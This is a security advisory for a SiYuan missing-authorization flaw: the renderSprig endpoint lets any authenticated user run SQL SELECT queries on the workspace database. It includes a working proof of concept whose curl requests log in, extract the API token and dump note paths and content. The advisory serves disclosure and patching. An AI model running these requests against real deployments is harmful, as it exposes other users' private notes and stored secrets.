Vulnerability GHSA-4j3x-hhg2-fm2x

Medium Risk
MEDIUM RISK
CVSS Score: 6.5
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
7 months ago
March 13, 2026 at 08:56 PM UTC
SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB
<3.6.1
<3.6.1

Summary

SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB

Details

Summary

POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.

Details

File: kernel/api/router.go

Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:

//  Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
    model.CheckAuth, renderSprig)

//  Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
    model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)

renderSprig calls model.RenderGoTemplate (kernel/model/template.go) which registers SQL functions from kernel/sql/database.go:

(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
    ret, _ = Query(stmt, 1024)  // executes raw SELECT, no role check
    return
}

Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
  -H "Content-Type: application/json" \
  -d '{"authCode":"test123"}' -c /tmp/siy.cookie

sleep 15  # wait for boot

TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
  -b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")

# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'

Confirmed response on v3.6.0:

{"code":0,"msg":"","data":"[{\"n\":0}]"}

Full note dump:

curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'

Impact

Any authenticated user (API token holder, Publish Service Reader) can:

  • Dump all note content and document hierarchy from the workspace
  • Exfiltrate tags, custom attributes, block IDs, and timestamps
  • Search notes for stored passwords, API keys, or personal data
  • Enumerate all notebooks and their structure

This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.

Related Vulnerabilities

Other vulnerabilities affecting the same packages

Unknown
9 hours ago
SiYuan: MCP file tool's blocklist is incomplete relative to the HTTP file API it claims to align with, exposing publish-mode passwords and other sensitive workspace files in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260808051406-3542530c505f GO-2026-6863
<0.0.0-20260808051406-3542530c505f GO-2026-6863
Unknown
9 hours ago
SiYuan: authFilePublishAccess distinguishes hidden and forbidden documents from public and nonexistent ones, and issues a publish-auth cookie for documents it reports as forbidden in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260731093152-c7522b8db586 GO-2026-6828
<0.0.0-20260731093152-c7522b8db586 GO-2026-6828
Unknown
9 hours ago
SiYuan: A parser differential between the WebSocket keepalive exemption and the session quarantine allows unauthenticated access to the broadcast event stream in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260731131820-67bc300b6ea6 GO-2026-6831
<0.0.0-20260731131820-67bc300b6ea6 GO-2026-6831
Unknown
9 hours ago
SiYuan: The publish filter for database backlinks consults the forbidden list instead of the visibility list, disclosing hidden-tier documents to anonymous readers in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260730150429-5b42614311b0 GO-2026-6833
<0.0.0-20260730150429-5b42614311b0 GO-2026-6833
Unknown
9 hours ago
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260808010544-26ccb40d390e GO-2026-6834
<0.0.0-20260808010544-26ccb40d390e GO-2026-6834
View all vulnerabilities for these packages

Timeline

Published
7 months ago
March 13, 2026 at 08:56 PM UTC
Last Modified
10 hours ago
November 05, 2026 at 09:30 PM UTC